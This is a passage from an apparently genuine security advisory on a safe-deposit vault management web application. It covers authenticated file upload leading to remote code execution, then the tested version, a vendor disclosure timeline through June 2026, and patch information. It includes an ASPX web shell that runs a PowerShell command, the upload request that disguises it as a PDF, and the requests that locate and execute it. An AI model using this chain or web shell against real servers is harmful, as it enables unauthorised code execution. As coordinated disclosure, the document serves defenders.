A new contract must be generated before uploading the document. This again needs the generation of a customer. For this purpose, the elevated privileges from the previous step can be utilized. After a new contract is created it can be used during the file upload and utilizing another function (see details below) allows to retrieve the filename. Using the filename and the vulnerability described in chapter 7) the uploaded file can be accessed.

To execute the uploaded file by simply surfing to it, a template file format like `aspx` can be utilized. These files are interpreted by the web server before responding. Code can be executed on the web server during this process.

For testing purposes, the following file `downloader.aspx` was used to test this issue. The code executes the PowerShell command `whoami /all` and pipes the output to the file `C:/SafeData/whoami.txt`. When the code is successfully executed the file `C:/SafeData/whoami.txt` can be downloaded via `https:// [HOST]/SafeData/whoami.txt`.

<%@ Page Language="C#" %>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
           ProcessStartInfo processStartInfo = new ProcessStartInfo();
           processStartInfo.FileName = "powershell.exe";
           processStartInfo.Arguments = "-c " + "whoami /all > C:/SafeData/whoami.txt";
           processStartInfo.RedirectStandardOutput = true;
           processStartInfo.UseShellExecute = false;
           Process process = Process.Start(processStartInfo);
}
</script>

The following steps describe in detail how to upload a file, retrieve its filename, and execute it.

a.    Login using the previously generated user `Sec`

b.    Navigate to vault (`Safefach`) and click on new contract (`Neuvermietung`). Pick a vault number (e.g., 2) and click on search.

c.    In the search result click on new contract (`Neuvermietung`)

d.    Next use the button new Customer (`neuer Kunde`) and fill in the needed values or pick the already generated user `test sec`.

e.    Access the tab contract (`Vertrag`) and fill in an address as well as a random key number and click on save.

f.    Upload a malicious file like described in vulnerability 5) using the `Sec` user and the `downloader.aspx` described above. For the value `boxId` use the same `boxId` as during contract generation. It can be read out of the URL when accessing a vault. The boxId for vault 2 is 164. The following listing show the utilized request:

POST /safe/contract/uploadcustomdocuments HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxmqm3ivp404nwymgqinxxx
[…]
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="downloader.aspx"; filename="downloader.aspx"
Content-Type: application/pdf
<%@ Page Language="C#" %>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
           ProcessStartInfo processStartInfo = new ProcessStartInfo();
           processStartInfo.FileName = "powershell.exe";
           processStartInfo.Arguments = "-c " + "whoami /all > C:/SafeData/whoami.txt ";
           processStartInfo.RedirectStandardOutput = true;
           processStartInfo.UseShellExecute = false;
           Process process = Process.Start(processStartInfo);
}
</script>
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="boxId"
164
-----------------------------15938702753880790499124043058
Content-Disposition: form-data; name="isNewRental"
false
-----------------------------15938702753880790499124043058--

g.    Next, use the endpoint `GetContractDocuments` to retrieve the id of the uploaded `downloader.aspx` using the contract id. The contract id can be sniffed during the contract generation or simply tried per hand as it is an iterated value. The current contract number is 2. This translated to the following request:

POST /Safe/Contract/GetContractDocuments/2 HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxmqm3ivp404nwymgqinxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https:// [HOST]
Referer: https:// [HOST]/Safe/Contract/ContractOverview/164
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
Te: trailers

The document id (34) for the `downloader.aspx` can be found the response:

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: text/html; charset=utf-8
Expires: Wed, 29 Mar 2023 13:58:33 GMT
Last-Modified: Wed, 29 Mar 2023 13:58:33 GMT
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 29 Mar 2023 13:58:33 GMT
Content-Length: 1060

               <li>
                   <a data-ajax="true" data-ajax-method="POST" data-ajax-success="OnCheckDocumentSuccess" href="/download/checkdocument/34">downloader.aspx</a>
               </li>
[…]

h.    Next the `checkdocument` endpoint can be utilized to get the token of the `downloader.aspx` file. The following listing shows the corresponding request:

POST /download/checkdocument/34 HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxmqm3ivp404nwymgqinxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: https:// [HOST]
Referer: https:// [HOST]/safe/contract/contractoverview/163
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
X-Requested-With=XMLHttpRequest

The response from the web server contains the needed token:

HTTP/2 200 OK
[…]
{"Url":"/download/document/34?token=7841F1FA-547B-48DC-9CD0-3971262E048B"}

i.    This token can be used to finally get the filename of the uploaded file using the `DownloadCsv` endpoint. The following listing shows the corresponding request:

GET /sysadmin/Plugins/DownloadCsv?token=7841F1FA-547B-48DC-9CD0-3971262E048B HTTP/2
Host: [HOST]
Cookie: ASP.NET_SessionId=xxxmqm3ivp404nwymgqinxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers

Finally, the response contains the needed filename:

HTTP/2 200 OK
Cache-Control: public, no-store, max-age=0
Content-Type: text/csv
Expires: Wed, 29 Mar 2023 14:16:49 GMT
Last-Modified: Wed, 29 Mar 2023 14:16:49 GMT
Vary: *
Server: Microsoft-IIS/10.0
X-Aspnetmvc-Version: 5.2
X-Frame-Options: DENY
Content-Disposition: attachment; filename=protocolReport.csv
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 29 Mar 2023 14:16:52 GMT
Content-Length: 104
9fb75d96-fe40-4887-8ca8-c2d7da52920d_downloader.aspx

j.    Using the filename, the company id (1) and the branch name (AdminFil) of the `downloader.aspx` can be accessed and executed. This information can be read out during a simple login. To access the file the following pattern must be used:

https:// [HOST]/SafeData/CompanyId_{COMPANYID}/Documents/{BRANCHNAME}/{FILENAME}

Using the collected information this translate to the following URL which can simply be accessed using a browser:

https:// [HOST]/SafeData/CompanyId_1/Documents/AdminFil/9fb75d96-fe40-4887-8ca8-c2d7da52920d_downloader.aspx

After accessing this site the command executes on the web server and the file `whoami.txt` can be accessed via:

https:// [HOST]/SafeData/whoami.txt

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

  • AssemblyVersion("6.15.8328.28014")

No further version information was provided by the vendor.

Vendor contact timeline

2023-06-20: Initial meeting between SEC Consult and Wertheim to discuss
            identified vulnerabilities
2023-07-23: Contacting vendor through direct email addresses received
            in the meetings, asking for encryption keys.
2023-07-31: Vendor response to send advisory unencrypted and apologizing for delays
            due to vacation time.
2023-08-07: Sending two advisories (split between HW devices and SW issues)
            to vendor, zipped with password.
2023-08-07: Vendor response: project start in September, implementation
            process planned to be finished early December. Estimation that
            rollout of patches takes another quarter (end of Q1/24).
2023-08-08: Meeting to discuss further steps.
2023-10-13: Asking for status update via email; No response received.
2023-11-30: Asking for status update via email - as no answer has yet 
            been received.
2023-11-30: Vendor responds to our request with following information:
            - Currently in time - Release plan Q1/2024 
            - A meeting between SEC Consult and Wertheim should take place in 
              Q1 to discuss further steps, including the recheck of 
              vulnerabilities.
            - Updates are provided in different ways:
              1. Customers with a support package receive the releases 
                 immediately
              2. Customers without a support package receive an offer 
                 to upgrade.
2024-02-16: Asking for status update and proposed dates for the planned 
            meeting in Q1/2024 via email
2024-02-16: Vendor responds with following information:
            - A recheck was arranged with SEC Consult to check the mitigations
            - Recheck date planned for March 2024.
2024-02-22: Vendor has submitted an internal project plan with information 
            and the status of ongoing remedial measures.
2024-02-26: Meeting with the vendor to discuss next steps and recheck date:
            - After the new review, the remaining weaknesses will be fixed and
              everything will be rolled out to customers by September 2024 at the
              latest.
2024-03-05: Recheck date finalized for end of March.
2024-03-29: Recheck conducted with the following results:
            - Vulnerability 1: Not Applicable - depends on customer's webserver 
              configuration
            - Vulnerability 2: Fixed
            - Vulnerability 3: Initially identified endpoints are fixed. But 
              further endpoints identified which do not perform authorization 
              checks sufficiently.
            - Vulnerability 4: Fixed
            - Vulnerability 5: Fixed
            - Vulnerability 6: Partially fixed - Arbitrary files are not 
              possible anymore. But it is still possible to upload .png, .jpeg 
              or .tiff files to an arbitrary location by specifying the 
              full path.
            - Vulnerability 7: Fixed
            - Vulnerability 8: Fixed
            - Vulnerability 9: Fixed
            - Attack Path: Not possible anymore because most vulnerabilities 
              are fixed.
            - Vulnerability 10: New 
2024-06-17: Asking for status update via email; No response received.
2024-09-25: Asking for status update via email.
2024-10-10: Vendor responds to our request that all remaining vulnerabilities have 
            been fixed:
             - Vulnerability 1: Not Applicable - depends on customer's webserver 
             configuration. Wertheim updated the technical documentation to advise 
             applying this principle
             - Vulnerability 3: Fixed
             - Vulnerability 6: Fixed
             - Vulnerability 10: Fixed
2024-10-18: Ask about the publication of new vulnerabilities identified during 
            the recheck, the version number in which the vulnerabilities were 
            fixed, and a workaround for unfixed vulnerabilities.
2024-10-30: Coordination meeting regarding the questions raised.
2024-12-16: Asking for a status update regarding version numbers. Sending
            updated advisory with PoCs partially redacted. No response.
2025-02-19: Asking for an update; no response
2025-03-18: Asking for an update; no response 
2026-03-25: Sending final advisory to Wertheim for approval including a 
            publication date. No response.
2026-04-23: Asking for a status update. No response.
2026-06-11: Informing vendor about upcoming release.
2026-06-15: Release of security advisory.

Solution

The vendor provides a patch which should be installed immediately. Specific version information was not provided. Please contact the vendor in order to request the update.

Workaround

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

 

EOF Gorazd Jank, Christian Hager, Philipp Espernberger / @2026

 

Interested to work with the experts of SEC Consult? Send us your application.
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices.